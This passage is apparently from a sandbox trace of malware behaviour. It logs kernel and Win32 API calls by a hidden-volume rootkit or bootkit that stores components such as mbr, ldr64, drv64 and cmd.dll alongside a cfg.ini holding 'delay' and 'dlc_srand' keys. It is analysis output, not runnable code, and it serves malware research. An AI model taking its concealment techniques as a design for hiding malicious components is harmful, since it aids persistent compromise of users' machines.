ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.134] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0130.134] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c080c0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0130.134] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.134] KeLeaveCriticalRegion () [0130.134] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.134] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.134] KeEnterCriticalRegion () [0130.134] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.134] ExFreePoolWithTag (P=0xfffffa8003c05270, Tag=0x0) [0130.134] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.134] KeLeaveCriticalRegion () [0130.134] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.134] ReleaseMutex (hMutex=0xf0) returned 1 [0130.134] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0130.135] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0130.135] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0130.135] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0130.135] KeEnterCriticalRegion () [0130.135] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.135] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.135] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0130.135] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.135] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0130.135] IdePortDispatch () returned 0x103 [0130.135] KeWaitForMutexObject () returned 0x0 [0130.135] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0130.135] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0130.135] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0130.135] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0130.135] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0130.135] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0130.135] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0130.135] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0130.135] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0130.135] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0130.135] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.135] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.135] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.135] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.135] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.135] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.135] KeLeaveCriticalRegion () [0130.135] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.135] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0130.135] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0130.135] KeEnterCriticalRegion () [0130.135] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.136] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.136] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0130.136] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.136] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0130.136] IdePortDispatch () returned 0x103 [0130.136] KeWaitForMutexObject () returned 0x0 [0130.136] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0130.136] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0130.136] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0130.136] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0130.136] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0130.136] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0130.136] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0130.136] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0130.136] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0130.136] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0130.136] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.136] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.136] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.136] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.136] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.136] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.136] KeLeaveCriticalRegion () [0130.136] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.136] ReleaseMutex (hMutex=0x100) returned 1 [0130.136] Sleep (dwMilliseconds=0x2bf20) [0130.143] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x70c58770, dwHighDateTime=0x1d24fa4)) [0130.143] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0130.143] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0130.143] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0130.143] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.143] KeEnterCriticalRegion () [0130.143] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.143] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.144] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0130.144] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.144] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0130.144] IdePortDispatch () returned 0x103 [0130.144] KeWaitForMutexObject () returned 0x0 [0130.144] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.144] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.144] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.144] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0130.144] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0130.144] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c08e10 [0130.144] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.144] KeLeaveCriticalRegion () [0130.144] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.144] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.144] KeEnterCriticalRegion () [0130.144] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.144] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.144] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.144] KeLeaveCriticalRegion () [0130.144] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.144] KeEnterCriticalRegion () [0130.144] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.144] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.144] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0130.144] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.144] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0130.144] IdePortDispatch () returned 0x103 [0130.144] KeWaitForMutexObject () returned 0x0 [0130.145] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.145] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.145] KeLeaveCriticalRegion () [0130.145] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.145] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.145] KeEnterCriticalRegion () [0130.145] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.145] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d2e000 [0130.145] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.145] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0130.145] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.145] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0130.145] IdePortDispatch () returned 0x103 [0130.145] KeWaitForMutexObject () returned 0x0 [0130.145] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.145] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.145] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0130.145] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.145] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0130.145] IdePortDispatch () returned 0x103 [0130.145] KeWaitForMutexObject () returned 0x0 [0130.145] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.145] KeLeaveCriticalRegion () [0130.146] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.146] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.146] KeEnterCriticalRegion () [0130.146] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.146] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.146] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.146] KeLeaveCriticalRegion () [0130.146] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.146] KeEnterCriticalRegion () [0130.146] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.146] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0130.146] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c07c80, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0130.146] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.146] KeLeaveCriticalRegion () [0130.146] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.146] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.146] KeEnterCriticalRegion () [0130.146] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.146] ExFreePoolWithTag (P=0xfffffa8003c08e10, Tag=0x0) [0130.146] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.146] KeLeaveCriticalRegion () [0130.146] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.146] ReleaseMutex (hMutex=0xf0) returned 1 [0130.146] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0130.147] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0130.147] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.147] KeEnterCriticalRegion () [0130.147] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.147] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.147] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0130.147] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.147] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0130.147] IdePortDispatch () returned 0x103 [0130.147] KeWaitForMutexObject () returned 0x0 [0130.147] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.147] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.147] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.147] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0130.147] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0130.147] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c08280 [0130.147] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.147] KeLeaveCriticalRegion () [0130.147] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.147] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.147] KeEnterCriticalRegion () [0130.147] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.147] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.147] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.147] KeLeaveCriticalRegion () [0130.147] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.147] KeEnterCriticalRegion () [0130.147] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.147] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.147] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0130.147] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.147] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0130.148] IdePortDispatch () returned 0x103 [0130.148] KeWaitForMutexObject () returned 0x0 [0130.148] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.148] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.148] KeLeaveCriticalRegion () [0130.148] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.148] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.148] KeEnterCriticalRegion () [0130.148] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.148] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d2f000 [0130.148] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.148] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0130.148] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.148] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0130.148] IdePortDispatch () returned 0x103 [0130.148] KeWaitForMutexObject () returned 0x0 [0130.148] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.148] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.148] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0130.148] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.148] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0130.148] IdePortDispatch () returned 0x103 [0130.148] KeWaitForMutexObject () returned 0x0 [0130.149] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.149] KeLeaveCriticalRegion () [0130.149] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.149] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.149] KeEnterCriticalRegion () [0130.149] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.149] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.149] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.149] KeLeaveCriticalRegion () [0130.149] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.149] KeEnterCriticalRegion () [0130.149] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.149] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0130.149] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c080c0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0130.149] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.149] KeLeaveCriticalRegion () [0130.149] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.149] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.149] KeEnterCriticalRegion () [0130.150] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.150] ExFreePoolWithTag (P=0xfffffa8003c08280, Tag=0x0) [0130.150] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.150] KeLeaveCriticalRegion () [0130.150] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.150] ReleaseMutex (hMutex=0xf0) returned 1 [0130.150] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0130.150] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0130.150] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.150] KeEnterCriticalRegion () [0130.150] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.150] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.150] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0130.150] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.150] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0130.150] IdePortDispatch () returned 0x103 [0130.150] KeWaitForMutexObject () returned 0x0 [0130.150] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.150] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.150] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.150] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0130.150] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0130.150] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8002845b50 [0130.150] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.150] KeLeaveCriticalRegion () [0130.150] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.150] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.150] KeEnterCriticalRegion () [0130.150] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.150] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.150] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.150] KeLeaveCriticalRegion () [0130.151] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.151] KeEnterCriticalRegion () [0130.151] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.151] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.151] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0130.151] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.151] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0130.151] IdePortDispatch () returned 0x103 [0130.151] KeWaitForMutexObject () returned 0x0 [0130.151] 